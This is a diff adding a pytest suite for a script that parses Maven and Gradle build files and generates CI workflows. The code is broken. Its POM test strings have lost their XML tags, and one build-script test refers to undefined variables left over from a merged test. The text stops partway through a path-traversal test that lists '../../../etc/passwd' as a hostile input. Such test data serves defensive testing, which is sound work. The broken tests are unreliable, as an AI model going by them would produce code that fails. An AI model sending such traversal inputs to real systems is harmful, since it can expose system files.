diff --git a/pommer/test/tests.py b/pommer/test/tests.py
new file mode 100644
index 0000000..a58c745
--- /dev/null
+++ b/pommer/test/tests.py
@@ -0,0 +1,1838 @@
+#!/usr/bin/env python3
+
+"""
+
+Finish this shit! Dont wanna do today tho!
+
+Commercial Grade Test Suite for pommer.py
+
+This comprehensive test suite covers all functionality of the pommer.py script
+with extensive edge case coverage, input validation, and error handling tests.
+
+Requirements:
+- pytest
+- pytest-cov (for coverage)
+- pytest-mock (for mocking)
+- pytest-xdist (for parallel execution)
+
+Run with: pytest test_pommer.py -v --cov=pommer --cov-report=html
+"""
+
+import pytest
+import os
+import sys
+import tempfile
+import shutil
+import json
+import xml.etree.ElementTree as ET
+from pathlib import Path
+from unittest.mock import patch, mock_open, MagicMock, call
+from io import StringIO
+
+# Add the script directory to path for imports
+sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
+
+# Import the module under test
+import pommer
+
+
+class TestParseXMLUtils:
+ """Test XML parsing utilities and edge cases"""
+
+ def test_xml_namespace_registration(self):
+ """Test that XML namespace is properly registered"""
+ # This should not raise an exception
+ ET.register_namespace('', "http://maven.apache.org/POM/4.0.0")
+ assert True # If we reach here, namespace registration worked
+
+ def test_malformed_xml_handling(self):
+ """Test handling of malformed XML files"""
+ malformed_xml = """
+
+ test
+
+ """
+
+ with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
+ f.write(malformed_xml)
+ f.flush()
+
+ result = pommer.parse_pom_xml(f.name)
+ assert result is None # Should handle malformed XML gracefully
+
+ os.unlink(f.name)
+
+ def test_empty_xml_file(self):
+ """Test handling of empty XML files"""
+ with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
+ f.write("")
+ f.flush()
+
+ result = pommer.parse_pom_xml(f.name)
+ assert result is None
+
+ os.unlink(f.name)
+
+ def test_xml_with_bom(self):
+ """Test handling of XML files with Byte Order Mark"""
+ xml_with_bom = '\ufeff\n' + """
+
+ test-bom
+ com.test
+ 1.0.0
+ """
+
+ with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False, encoding='utf-8-sig') as f:
+ f.write(xml_with_bom)
+ f.flush()
+
+ result = pommer.parse_pom_xml(f.name)
+ assert result is not None
+ assert result['artifact_id'] == 'test-bom'
+
+ os.unlink(f.name)
+
+
+class TestParsePomXml:
+ """Test Maven POM XML parsing functionality"""
+
+ def create_test_pom(self, content):
+ """Helper to create temporary POM files"""
+ temp_file = tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False)
+ temp_file.write(content)
+ temp_file.close()
+ return temp_file.name
+
+ def test_minimal_pom_parsing(self):
+ """Test parsing of minimal POM file"""
+ minimal_pom = """
+
+ minimal-project
+ """
+
+ pom_path = self.create_test_pom(minimal_pom)
+ result = pommer.parse_pom_xml(pom_path)
+
+ assert result is not None
+ assert result['artifact_id'] == 'minimal-project'
+ assert result['group_id'] == 'unknown' # Default value
+ assert result['version'] == 'unknown' # Default value
+ assert result['name'] == 'minimal-project' # Falls back to artifact_id
+ assert result['java_version'] == '17' # Default value
+ assert result['packaging'] == 'jar' # Default value
+ assert result['is_kotlin'] == False
+ assert result['build_system'] == 'maven'
+
+ os.unlink(pom_path)
+
+ def test_complete_pom_parsing(self):
+ """Test parsing of complete POM file with all elements"""
+ complete_pom = """
+
+ com.example
+ complete-project
+ 2.1.0
+ Complete Test Project
+ war
+
+
+ 11
+ 1.8.20
+
+
+
+ src/main/java
+ clean compile package
+
+
+
+ org.jetbrains.kotlin
+ kotlin-maven-plugin
+
+
+
+
+
+
+ org.jetbrains.kotlin
+ kotlin-stdlib-jdk8
+
+
+ """
+
+ pom_path = self.create_test_pom(complete_pom)
+ result = pommer.parse_pom_xml(pom_path)
+
+ assert result is not None
+ assert result['artifact_id'] == 'complete-project'
+ assert result['group_id'] == 'com.example'
+ assert result['version'] == '2.1.0'
+ assert result['name'] == 'Complete Test Project'
+ assert result['java_version'] == '11'
+ assert result['packaging'] == 'war'
+ assert result['is_kotlin'] == True
+ assert result['kotlin_version'] == '1.8.20'
+ assert result['source_dir'] == 'src/main/java'
+ assert result['default_goal'] == 'clean compile package'
+
+ os.unlink(pom_path)
+
+ def test_kotlin_detection_via_plugin(self):
+ """Test Kotlin detection via plugin presence"""
+ kotlin_plugin_pom = """
+
+ kotlin-plugin-test
+
+
+
+ org.jetbrains.kotlin
+ kotlin-maven-plugin
+ 1.7.10
+
+
+
+ """
+
+ pom_path = self.create_test_pom(kotlin_plugin_pom)
+ result = pommer.parse_pom_xml(pom_path)
+
+ assert result['is_kotlin'] == True
+ os.unlink(pom_path)
+
+ def test_kotlin_detection_via_dependency(self):
+ """Test Kotlin detection via dependency presence"""
+ kotlin_dep_pom = """
+
+ kotlin-dep-test
+
+
+ org.jetbrains.kotlin
+ kotlin-stdlib
+ 1.7.10
+
+
+ """
+
+ pom_path = self.create_test_pom(kotlin_dep_pom)
+ result = pommer.parse_pom_xml(pom_path)
+
+ assert result['is_kotlin'] == True
+ os.unlink(pom_path)
+
+ def test_kotlin_detection_via_properties(self):
+ """Test Kotlin detection via kotlin.version property"""
+ kotlin_prop_pom = """
+
+ kotlin-prop-test
+
+ 1.8.0
+
+ """
+
+ pom_path = self.create_test_pom(kotlin_prop_pom)
+ result = pommer.parse_pom_xml(pom_path)
+
+ assert result['is_kotlin'] == True
+ assert result['kotlin_version'] == '1.8.0'
+ os.unlink(pom_path)
+
+ def test_pom_with_parent(self):
+ """Test POM with parent project inheritance"""
+ parent_pom = """
+
+
+ com.parent
+ parent-project
+ 1.0.0
+
+ child-project
+ """
+
+ pom_path = self.create_test_pom(parent_pom)
+ result = pommer.parse_pom_xml(pom_path)
+
+ assert result is not None
+ assert result['artifact_id'] == 'child-project'
+ # Should handle missing groupId/version gracefully
+ assert result['group_id'] == 'unknown'
+ assert result['version'] == 'unknown'
+
+ os.unlink(pom_path)
+
+ def test_nonexistent_pom_file(self):
+ """Test handling of non-existent POM file"""
+ result = pommer.parse_pom_xml("/nonexistent/path/pom.xml")
+ assert result is None
+
+ def test_pom_permission_denied(self):
+ """Test handling of POM file with no read permissions"""
+ pom_content = """
+
+ permission-test
+ """
+
+ with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
+ f.write(pom_content)
+ f.flush()
+
+ # Remove read permissions
+ os.chmod(f.name, 0o000)
+
+ result = pommer.parse_pom_xml(f.name)
+ assert result is None
+
+ # Restore permissions for cleanup
+ os.chmod(f.name, 0o644)
+
+ os.unlink(f.name)
+
+ def test_pom_with_comments_and_whitespace(self):
+ """Test POM parsing with extensive comments and whitespace"""
+ commented_pom = """
+
+
+
+ commented-project
+ com.test
+
+
+ 1.2.3
+
+
+
+
+ 8
+
+ """
+
+ pom_path = self.create_test_pom(commented_pom)
+ result = pommer.parse_pom_xml(pom_path)
+
+ assert result is not None
+ assert result['artifact_id'] == 'commented-project'
+ assert result['group_id'] == 'com.test'
+ assert result['version'] == '1.2.3'
+ assert result['java_version'] == '8'
+
+ os.unlink(pom_path)
+
+
+class TestParseGradleFile:
+ """Test Gradle build file parsing functionality"""
+
+ def create_test_gradle(self, content, is_kts=False):
+ """Helper to create temporary Gradle files"""
+ suffix = '.gradle.kts' if is_kts else '.gradle'
+ temp_file = tempfile.NamedTemporaryFile(mode='w', suffix=suffix, delete=False)
+ temp_file.write(content)
+ temp_file.close()
+ return temp_file.name
+
+ def create_settings_gradle(self, content, gradle_dir, is_kts=False):
+ """Helper to create settings.gradle file"""
+ filename = 'settings.gradle.kts' if is_kts else 'settings.gradle'
+ settings_path = os.path.join(gradle_dir, filename)
+ with open(settings_path, 'w') as f:
+ f.write(content)
+ return settings_path
+
+ def test_minimal_gradle_parsing(self):
+ """Test parsing of minimal Gradle file"""
+ minimal_gradle = """
+ // Minimal Gradle build file
+ """
+
+ gradle_path = self.create_test_gradle(minimal_gradle)
+ result = pommer.parse_gradle_file(gradle_path)
+
+ assert result is not None
+ assert result['group_id'] == 'unknown'
+ assert result['version'] == 'unknown'
+ assert result['java_version'] == '17' # Default
+ assert result['packaging'] == 'jar'
+ assert result['is_kotlin'] == False
+ assert result['build_system'] == 'gradle'
+ assert result['is_kotlin_dsl'] == False
+
+ os.unlink(gradle_path)
+
+ def test_complete_gradle_parsing(self):
+ """Test parsing of complete Gradle file"""
+ complete_gradle = """
+ plugins {
+ id 'java'
+ id 'application'
+ id 'org.jetbrains.kotlin.jvm' version '1.8.20'
+ }
+
+ group = 'com.example'
+ version = '2.1.0'
+
+ sourceCompatibility = JavaVersion.VERSION_11
+
+ repositories {
+ mavenCentral()
+ }
+
+ dependencies {
+ implementation 'org.jetbrains.kotlin:kotlin-stdlib'
+ }
+ """
+
+ gradle_dir = tempfile.mkdtemp()
+ gradle_path = os.path.join(gradle_dir, 'build.gradle')
+
+ with open(gradle_path, 'w') as f:
+ f.write(complete_gradle)
+
+ # Create settings.gradle
+ settings_content = "rootProject.name = 'complete-gradle-project'"
+ self.create_settings_gradle(settings_content, gradle_dir)
+
+ result = pommer.parse_gradle_file(gradle_path)
+
+ assert result is not None
+ assert result['artifact_id'] == 'complete-gradle-project'
+ assert result['group_id'] == 'com.example'
+ assert result['version'] == '2.1.0'
+ assert result['java_version'] == '11'
+ assert result['packaging'] == 'application'
+ assert result['is_kotlin'] == True
+ assert result['kotlin_version'] == '1.8.20'
+
+ shutil.rmtree(gradle_dir)
+
+ def test_kotlin_dsl_gradle_parsing(self):
+ """Test parsing of Kotlin DSL Gradle file"""
+ kotlin_gradle = """
+ plugins {
+ kotlin("jvm") version "1.8.0"
+ application
+ }
+
+ group = "com.kotlin.example"
+ version = "1.0.0"
+
+ java {
+ toolchain {
+ languageVersion = JavaLanguageVersion.of(17)
+ }
+ }
+ """
+
+ gradle_path = self.create_test_gradle(kotlin_gradle, is_kts=True)
+ result = pommer.parse_gradle_file(gradle_path)
+
+ assert result is not None
+ assert result['is_kotlin_dsl'] == True
+ assert result['is_kotlin'] == True # Should detect Kotlin from DSL
+ assert result['group_id'] == 'com.kotlin.example'
+ assert result['version'] == '1.0.0'
+ assert result['java_version'] == '17' # From toolchain
+
+ os.unlink(gradle_path)
+
+ def test_gradle_java_version_detection_variants(self):
+ """Test various ways Java version can be specified in Gradle"""
+
+ # Test sourceCompatibility with quotes
+ gradle1 = 'sourceCompatibility = "11"'
+ path1 = self.create_test_gradle(gradle1)
+ result1 = pommer.parse_gradle_file(path1)
+ assert result1['java_version'] == '11'
+ os.unlink(path1)
+
+ # Test sourceCompatibility with JavaVersion enum
+ gradle2 = 'sourceCompatibility = JavaVersion.VERSION_8'
+ path2 = self.create_test_gradle(gradle2)
+ result2 = pommer.parse_gradle_file(path2)
+ assert result2['java_version'] == '8'
+ os.unlink(path2)
+
+ # Test toolchain configuration
+ gradle3 = """
+ java {
+ toolchain {
+ languageVersion = JavaLanguageVersion.of(21)
+ }
+ }
+ """
+ path3 = self.create_test_gradle(gradle3)
+ result3 = pommer.parse_gradle_file(path3)
+ assert result3['java_version'] == '21'
+ os.unlink(path3)
+
+ def test_gradle_settings_file_variants(self):
+ """Test detection of project name from various settings file formats"""
+
+ gradle_dir = tempfile.mkdtemp()
+ gradle_path = os.path.join(gradle_dir, 'build.gradle')
+
+ with open(gradle_path, 'w') as f:
+ f.write('// Simple build file')
+
+ # Test settings.gradle with double quotes
+ settings1 = 'rootProject.name = "test-project-1"'
+ self.create_settings_gradle(settings1, gradle_dir)
+ result1 = pommer.parse_gradle_file(gradle_path)
+ assert result1['artifact_id'] == 'test-project-1'
+
+ # Clean up and test settings.gradle.kts
+ os.remove(os.path.join(gradle_dir, 'settings.gradle'))
+ settings2 = 'rootProject.name = "test-project-2"'
+ self.create_settings_gradle(settings2, gradle_dir, is_kts=True)
+ result2 = pommer.parse_gradle_file(gradle_path)
+ assert result2['artifact_id'] == 'test-project-2'
+
+ # Test fallback to directory name
+ os.remove(os.path.join(gradle_dir, 'settings.gradle.kts'))
+ result3 = pommer.parse_gradle_file(gradle_path)
+ assert result3['artifact_id'] == os.path.basename(gradle_dir)
+
+ shutil.rmtree(gradle_dir)
+
+ def test_gradle_kotlin_detection_methods(self):
+ """Test various methods of Kotlin detection in Gradle"""
+
+ # Kotlin plugin with id()
+ gradle1 = 'id("kotlin") version "1.8.0"'
+ path1 = self.create_test_gradle(gradle1)
+ result1 = pommer.parse_gradle_file(path1)
+ assert result1['is_kotlin'] == True
+ os.unlink(path1)
+
+ # Kotlin plugin with full ID
+ gradle2 = 'id "org.jetbrains.kotlin.jvm" version "1.7.0"'
+ path2 = self.create_test_gradle(gradle2)
+ result2 = pommer.parse_gradle_file(path2)
+ assert result2['is_kotlin'] == True
+ os.unlink(path2)
+
+ # Kotlin version property
+ gradle3 = 'kotlin version "1.6.0"'
+ path3 = self.create_test_gradle(gradle3)
+ result3 = pommer.parse_gradle_file(path3)
+ assert result3['is_kotlin'] == True
+ assert result3['kotlin_version'] == '1.6.0'
+ os.unlink(path3)
+
+ def test_gradle_application_plugin_detection(self):
+ """Test detection of application plugin"""
+ gradle_with_app = 'id("application")'
+ path = self.create_test_gradle(gradle_with_app)
+ result = pommer.parse_gradle_file(path)
+
+ assert result['packaging'] == 'application'
+ os.unlink(path)
+
+ def test_nonexistent_gradle_file(self):
+ """Test handling of non-existent Gradle file"""
+ result = pommer.parse_gradle_file("/nonexistent/path/build.gradle")
+ assert result is None
+
+ def test_gradle_file_permission_denied(self):
+ """Test handling of Gradle file with no read permissions"""
+ gradle_content = "// Test content"
+
+ with tempfile.NamedTemporaryFile(mode='w', suffix='.gradle', delete=False) as f:
+ f.write(gradle_content)
+ f.flush()
+
+ # Remove read permissions
+ os.chmod(f.name, 0o000)
+
+ result = pommer.parse_gradle_file(f.name)
+ assert result is None
+
+ # Restore permissions for cleanup
+ os.chmod(f.name, 0o644)
+
+ os.unlink(f.name)
+
+ def test_gradle_complex_multiline_patterns(self):
+ """Test parsing of complex multiline Gradle configurations"""
+ complex_gradle = """
+ plugins {
+ id 'java'
+ id 'org.jetbrains.kotlin.jvm' version '1.8.20'
+ }
+
+ java.toolchain {
+ languageVersion = JavaLanguageVersion.of(
+ 17
+ )
+ }
+
+ group = 'com.complex.example'
+ version = '3.2.1'
+ """
+
+ path = self.create_test_gradle(complex_gradle)
+ result = pommer.parse_gradle_file(path)
+
+ assert result is not None
+ assert result['group_id'] == 'com.complex.example'
+ assert result['version'] == '3.2.1'
+ assert result['java_version'] == '17'
+ assert result['is_kotlin'] == True
+ assert result['kotlin_version'] == '1.8.20'
+
+ os.unlink(path)
+
+
+class TestWorkflowGeneration:
+ """Test workflow generation functionality"""
+
+ def test_generate_maven_workflow_single_project(self):
+ """Test Maven workflow generation for single project"""
+ maven_info = [{
+ "artifact_id": "test-project",
+ "group_id": "com.test",
+ "version": "1.0.0",
+ "name": "Test Project",
+ "java_version": "11",
+ "packaging": "jar",
+ "is_kotlin": False,
+ "kotlin_version": None,
+ "source_dir": None,
+ "default_goal": None,
+ "pom_path": "pom.xml",
+ "build_system": "maven"
+ }]
+
+ workflow = pommer.generate_maven_workflow(maven_info)
+
+ assert workflow is not None
+ assert "Maven Build" in workflow
+ assert "JDK 11" in workflow
+ assert "test-project" in workflow
+ assert "clean package" in workflow
+ assert "maven" in workflow.lower()
+
+ def test_generate_maven_workflow_multiple_projects(self):
+ """Test Maven workflow generation for multiple projects"""
+ maven_infos = [
+ {
+ "artifact_id": "project1",
+ "name": "Project 1",
+ "java_version": "8",
+ "pom_path": "module1/pom.xml",
+ "default_goal": "clean compile",
+ "build_system": "maven"
+ },
+ {
+ "artifact_id": "project2",
+ "name": "Project 2",
+ "java_version": "17",
+ "pom_path": "module2/pom.xml",
+ "default_goal": None,
+ "build_system": "maven"
+ }
+ ]
+
+ workflow = pommer.generate_maven_workflow(maven_infos)
+
+ assert workflow is not None
+ assert "JDK 17" in workflow # Should use highest Java version
+ assert "project1" in workflow
+ assert "project2" in workflow
+ assert "clean compile" in workflow # Custom goal
+ assert "clean package" in workflow # Default goal
+
+ def test_generate_maven_workflow_empty_list(self):
+ """Test Maven workflow generation with empty project list"""
+ workflow = pommer.generate_maven_workflow([])
+ assert workflow is None
+
+ def test_generate_gradle_workflow_single_project(self):
+ """Test Gradle workflow generation for single project"""
+ gradle_info = [{
+ "artifact_id": "gradle-test",
+ "name": "Gradle Test",
+ "java_version": "11",
+ "gradle_path": "build.gradle",
+ "is_kotlin": True,
+ "kotlin_version": "1.8.0",
+ "build_system": "gradle"
+ }]
+
+ workflow = pommer.generate_gradle_workflow(gradle_info)
+
+ assert workflow is not None
+ assert "Gradle Build" in workflow
+ assert "JDK 11" in workflow
+ assert "gradle-test" in workflow
+ assert "gradlew" in workflow or "gradle" in workflow
+
+ def test_generate_gradle_workflow_with_wrapper(self):
+ """Test Gradle workflow generation with wrapper detection"""
+ temp_dir = tempfile.mkdtemp()
+ gradle_path = os.path.join(temp_dir, "build.gradle")
+ gradlew_path = os.path.join(temp_dir, "gradlew")
+
+ # Create dummy files
+ with open(gradle_path, 'w') as f:
+ f.write("// test")
+ with open(gradlew_path, 'w') as f:
+ f.write("#!/bin/bash")
+
+ gradle_info = [{
+ "artifact_id": "wrapper-test",
+ "name": "Wrapper Test",
+ "java_version": "17",
+ "gradle_path": gradle_path,
+ "build_system": "gradle"
+ }]
+
+ workflow = pommer.generate_gradle_workflow(gradle_info)
+
+ assert workflow is not None
+ assert "./gradlew" in workflow # Should detect wrapper
+
+ shutil.rmtree(temp_dir)
+
+ def test_generate_gradle_workflow_without_wrapper(self):
+ """Test Gradle workflow generation without wrapper"""
+ temp_dir = tempfile.mkdtemp()
+ gradle_path = os.path.join(temp_dir, "build.gradle")
+
+ # Create gradle file but no wrapper
+ with open(gradle_path, 'w') as f:
+ f.write("// test")
+
+ gradle_info = [{
+ "artifact_id": "no-wrapper-test",
+ "name": "No Wrapper Test",
+ "java_version": "11",
+ "gradle_path": gradle_path,
+ "build_system": "gradle"
+ }]
+
+ workflow = pommer.generate_gradle_workflow(gradle_info)
+
+ assert workflow is not None
+ assert "gradle build" in workflow # Should use system gradle
+
+ shutil.rmtree(temp_dir)
+
+ def test_generate_gradle_workflow_empty_list(self):
+ """Test Gradle workflow generation with empty project list"""
+ workflow = pommer.generate_gradle_workflow([])
+ assert workflow is None
+
+
+class TestBuildScriptGeneration:
+ """Test build script generation functionality"""
+
+ def test_generate_build_script_maven_only(self):
+ """Test build script generation for Maven-only projects"""
+ maven_projects = [{
+ "name": "Maven Project",
+ "pom_path": "pom.xml",
+ "build_system": "maven"
+ }]
+
+ script = pommer.generate_build_script(mixed_projects)
+
+ assert script is not None
+ assert "mvn" in script
+ assert "gradle" in script
+ assert "Maven Project" in script
+ assert "Gradle Project" in script
+
+ shutil.rmtree(temp_dir)
+
+ def test_generate_build_script_empty_projects(self):
+ """Test build script generation with empty project list"""
+ script = pommer.generate_build_script([])
+
+ assert script is not None
+ assert "Universal build script" in script
+
+
+class TestFileDiscovery:
+ """Test file discovery functionality"""
+
+ def test_find_pom_files_single_level(self):
+ """Test finding POM files in single directory"""
+ temp_dir = tempfile.mkdtemp()
+ pom_path = os.path.join(temp_dir, "pom.xml")
+
+ with open(pom_path, 'w') as f:
+ f.write("")
+
+ found_poms = pommer.find_pom_files(temp_dir)
+
+ assert len(found_poms) == 1
+ assert pom_path in found_poms
+
+ shutil.rmtree(temp_dir)
+
+ def test_find_pom_files_nested(self):
+ """Test finding POM files in nested directories"""
+ temp_dir = tempfile.mkdtemp()
+
+ # Create nested structure
+ module1_dir = os.path.join(temp_dir, "module1")
+ module2_dir = os.path.join(temp_dir, "module2", "submodule")
+ os.makedirs(module1_dir)
+ os.makedirs(module2_dir)
+
+ # Create POM files
+ root_pom = os.path.join(temp_dir, "pom.xml")
+ module1_pom = os.path.join(module1_dir, "pom.xml")
+ module2_pom = os.path.join(module2_dir, "pom.xml")
+
+ for pom_path in [root_pom, module1_pom, module2_pom]:
+ with open(pom_path, 'w') as f:
+ f.write("")
+
+ found_poms = pommer.find_pom_files(temp_dir)
+
+ assert len(found_poms) == 3
+ assert all(pom in found_poms for pom in [root_pom, module1_pom, module2_pom])
+
+ shutil.rmtree(temp_dir)
+
+ def test_find_pom_files_no_matches(self):
+ """Test finding POM files when none exist"""
+ temp_dir = tempfile.mkdtemp()
+
+ # Create some non-POM files
+ with open(os.path.join(temp_dir, "build.gradle"), 'w') as f:
+ f.write("// gradle")
+ with open(os.path.join(temp_dir, "README.md"), 'w') as f:
+ f.write("# README")
+
+ found_poms = pommer.find_pom_files(temp_dir)
+
+ assert len(found_poms) == 0
+
+ shutil.rmtree(temp_dir)
+
+ def test_find_gradle_files_both_types(self):
+ """Test finding both .gradle and .gradle.kts files"""
+ temp_dir = tempfile.mkdtemp()
+
+ gradle_path = os.path.join(temp_dir, "build.gradle")
+ gradle_kts_path = os.path.join(temp_dir, "build.gradle.kts")
+
+ with open(gradle_path, 'w') as f:
+ f.write("// gradle")
+ with open(gradle_kts_path, 'w') as f:
+ f.write("// gradle kts")
+
+ found_gradle = pommer.find_gradle_files(temp_dir)
+
+ assert len(found_gradle) == 2
+ assert gradle_path in found_gradle
+ assert gradle_kts_path in found_gradle
+
+ shutil.rmtree(temp_dir)
+
+ def test_find_gradle_files_nested(self):
+ """Test finding Gradle files in nested directories"""
+ temp_dir = tempfile.mkdtemp()
+
+ # Create nested structure
+ app_dir = os.path.join(temp_dir, "app")
+ lib_dir = os.path.join(temp_dir, "lib", "core")
+ os.makedirs(app_dir)
+ os.makedirs(lib_dir)
+
+ # Create Gradle files
+ root_gradle = os.path.join(temp_dir, "build.gradle")
+ app_gradle = os.path.join(app_dir, "build.gradle.kts")
+ lib_gradle = os.path.join(lib_dir, "build.gradle")
+
+ for gradle_path in [root_gradle, app_gradle, lib_gradle]:
+ with open(gradle_path, 'w') as f:
+ f.write("// gradle build")
+
+ found_gradle = pommer.find_gradle_files(temp_dir)
+
+ assert len(found_gradle) == 3
+ assert all(gradle in found_gradle for gradle in [root_gradle, app_gradle, lib_gradle])
+
+ shutil.rmtree(temp_dir)
+
+ def test_find_files_nonexistent_directory(self):
+ """Test file discovery in non-existent directory"""
+ found_poms = pommer.find_pom_files("/nonexistent/directory")
+ found_gradle = pommer.find_gradle_files("/nonexistent/directory")
+
+ assert len(found_poms) == 0
+ assert len(found_gradle) == 0
+
+
+class TestMainFunction:
+ """Test main function and command-line interface"""
+
+ @patch('sys.argv')
+ @patch('pommer.find_pom_files')
+ @patch('pommer.find_gradle_files')
+ @patch('pommer.parse_pom_xml')
+ @patch('pommer.parse_gradle_file')
+ def test_main_with_default_args(self, mock_parse_gradle, mock_parse_pom,
+ mock_find_gradle, mock_find_pom, mock_argv):
+ """Test main function with default arguments"""
+ mock_argv.__getitem__.side_effect = lambda x: ['pommer.py'][x]
+ mock_argv.__len__.return_value = 1
+
+ mock_find_pom.return_value = ['pom.xml']
+ mock_find_gradle.return_value = ['build.gradle']
+
+ mock_parse_pom.return_value = {
+ "artifact_id": "test-maven",
+ "name": "Test Maven",
+ "java_version": "11",
+ "build_system": "maven",
+ "pom_path": "pom.xml"
+ }
+
+ mock_parse_gradle.return_value = {
+ "artifact_id": "test-gradle",
+ "name": "Test Gradle",
+ "java_version": "17",
+ "build_system": "gradle",
+ "gradle_path": "build.gradle"
+ }
+
+ with patch('builtins.open', mock_open()) as mock_file, \
+ patch('os.makedirs'), \
+ patch('os.chmod'), \
+ patch('builtins.print') as mock_print:
+
+ # This should not raise an exception
+ try:
+ pommer.main()
+ except SystemExit:
+ pass # argparse calls sys.exit, which is expected
+
+ @patch('sys.argv')
+ def test_main_with_specific_pom(self, mock_argv):
+ """Test main function with specific POM file"""
+ mock_argv.__getitem__.side_effect = lambda x: ['pommer.py', '--specific-pom', 'test.xml'][x]
+ mock_argv.__len__.return_value = 3
+
+ with patch('pommer.parse_pom_xml') as mock_parse, \
+ patch('pommer.find_gradle_files') as mock_find_gradle, \
+ patch('builtins.open', mock_open()), \
+ patch('os.makedirs'), \
+ patch('os.chmod'), \
+ patch('builtins.print'):
+
+ mock_parse.return_value = {
+ "artifact_id": "specific-test",
+ "name": "Specific Test",
+ "java_version": "8",
+ "build_system": "maven",
+ "pom_path": "test.xml"
+ }
+ mock_find_gradle.return_value = []
+
+ try:
+ pommer.main()
+ except SystemExit:
+ pass
+
+ @patch('sys.argv')
+ def test_main_with_json_output(self, mock_argv):
+ """Test main function with JSON output enabled"""
+ mock_argv.__getitem__.side_effect = lambda x: ['pommer.py', '--output-json'][x]
+ mock_argv.__len__.return_value = 2
+
+ with patch('pommer.find_pom_files') as mock_find_pom, \
+ patch('pommer.find_gradle_files') as mock_find_gradle, \
+ patch('pommer.parse_pom_xml') as mock_parse_pom, \
+ patch('builtins.open', mock_open()) as mock_file, \
+ patch('os.makedirs'), \
+ patch('os.chmod'), \
+ patch('json.dump') as mock_json_dump, \
+ patch('builtins.print'):
+
+ mock_find_pom.return_value = ['pom.xml']
+ mock_find_gradle.return_value = []
+ mock_parse_pom.return_value = {
+ "artifact_id": "json-test",
+ "build_system": "maven"
+ }
+
+ try:
+ pommer.main()
+ mock_json_dump.assert_called_once()
+ except SystemExit:
+ pass
+
+ @patch('sys.argv')
+ def test_main_no_projects_found(self, mock_argv):
+ """Test main function when no projects are found"""
+ mock_argv.__getitem__.side_effect = lambda x: ['pommer.py'][x]
+ mock_argv.__len__.return_value = 1
+
+ with patch('pommer.find_pom_files') as mock_find_pom, \
+ patch('pommer.find_gradle_files') as mock_find_gradle, \
+ patch('builtins.print') as mock_print:
+
+ mock_find_pom.return_value = []
+ mock_find_gradle.return_value = []
+
+ try:
+ pommer.main()
+ # Should print error message
+ mock_print.assert_any_call("No pom.xml or build.gradle files found in .")
+ except SystemExit:
+ pass
+
+ @patch('sys.argv')
+ def test_main_parsing_failures(self, mock_argv):
+ """Test main function when all parsing fails"""
+ mock_argv.__getitem__.side_effect = lambda x: ['pommer.py'][x]
+ mock_argv.__len__.return_value = 1
+
+ with patch('pommer.find_pom_files') as mock_find_pom, \
+ patch('pommer.find_gradle_files') as mock_find_gradle, \
+ patch('pommer.parse_pom_xml') as mock_parse_pom, \
+ patch('pommer.parse_gradle_file') as mock_parse_gradle, \
+ patch('builtins.print') as mock_print:
+
+ mock_find_pom.return_value = ['pom.xml']
+ mock_find_gradle.return_value = ['build.gradle']
+ mock_parse_pom.return_value = None # Parsing failed
+ mock_parse_gradle.return_value = None # Parsing failed
+
+ try:
+ pommer.main()
+ mock_print.assert_any_call("No valid project files could be parsed")
+ except SystemExit:
+ pass
+
+
+class TestEdgeCasesAndErrorHandling:
+ """Test edge cases and error handling scenarios"""
+
+ def test_unicode_content_handling(self):
+ """Test handling of files with Unicode content"""
+ unicode_pom = """
+
+ unicode-tëst-prøjëct
+ Ùnïcödë Tëst Prøjëct 🚀
+ com.tëst.ünicöde
+ """
+
+ with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False, encoding='utf-8') as f:
+ f.write(unicode_pom)
+ f.flush()
+
+ result = pommer.parse_pom_xml(f.name)
+ assert result is not None
+ assert result['artifact_id'] == 'unicode-tëst-prøjëct'
+ assert 'Ùnïcödë' in result['name']
+
+ os.unlink(f.name)
+
+ def test_very_large_file_handling(self):
+ """Test handling of very large files"""
+ # Create a large POM with many dependencies
+ large_pom_parts = [
+ """
+
+ large-project
+ """
+ ]
+
+ # Add 1000 dependencies
+ for i in range(1000):
+ large_pom_parts.append(f"""
+
+ com.test.dep{i}
+ dependency-{i}
+ 1.0.{i}
+ """)
+
+ large_pom_parts.append("""
+
+ """)
+
+ large_pom = ''.join(large_pom_parts)
+
+ with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
+ f.write(large_pom)
+ f.flush()
+
+ # Should handle large files without issues
+ result = pommer.parse_pom_xml(f.name)
+ assert result is not None
+ assert result['artifact_id'] == 'large-project'
+
+ os.unlink(f.name)
+
+ def test_circular_dependency_in_settings(self):
+ """Test handling of circular references in settings"""
+ temp_dir = tempfile.mkdtemp()
+
+ # Create build.gradle
+ gradle_path = os.path.join(temp_dir, 'build.gradle')
+ with open(gradle_path, 'w') as f:
+ f.write('// Test gradle')
+
+ # Create settings.gradle with complex content
+ settings_path = os.path.join(temp_dir, 'settings.gradle')
+ with open(settings_path, 'w') as f:
+ f.write('''
+ rootProject.name = "complex-project"
+ include "subproject1"
+ include "subproject2"
+
+ // Some complex Gradle script
+ gradle.beforeProject { project ->
+ project.ext.buildTimestamp = new Date().format('yyyy-MM-dd HH:mm:ss')
+ }
+ ''')
+
+ result = pommer.parse_gradle_file(gradle_path)
+ assert result is not None
+ assert result['artifact_id'] == 'complex-project'
+
+ shutil.rmtree(temp_dir)
+
+ def test_malformed_regex_patterns(self):
+ """Test handling of content that might break regex patterns"""
+ tricky_gradle = '''
+ // This content might break regex parsing
+ group = "com.test.regex[special*chars+here]"
+ version = "1.0.0-SNAPSHOT+build.123"
+
+ // Multiline strings that could confuse parsers
+ description = """
+ This is a multiline description
+ with "quotes" and 'apostrophes'
+ and sourceCompatibility = "fake"
+ """
+
+ // The real configuration
+ sourceCompatibility = JavaVersion.VERSION_11
+ '''
+
+ with tempfile.NamedTemporaryFile(mode='w', suffix='.gradle', delete=False) as f:
+ f.write(tricky_gradle)
+ f.flush()
+
+ result = pommer.parse_gradle_file(f.name)
+ assert result is not None
+ # Should extract the real Java version, not the fake one in comments
+ assert result['java_version'] == '11'
+
+ os.unlink(f.name)
+
+ def test_path_traversal_prevention(self):
+ """Test that path traversal attempts are handled safely"""
+ # This test ensures the script doesn't have directory traversal vulnerabilities
+ dangerous_paths = [
+ "../../../etc/passwd",
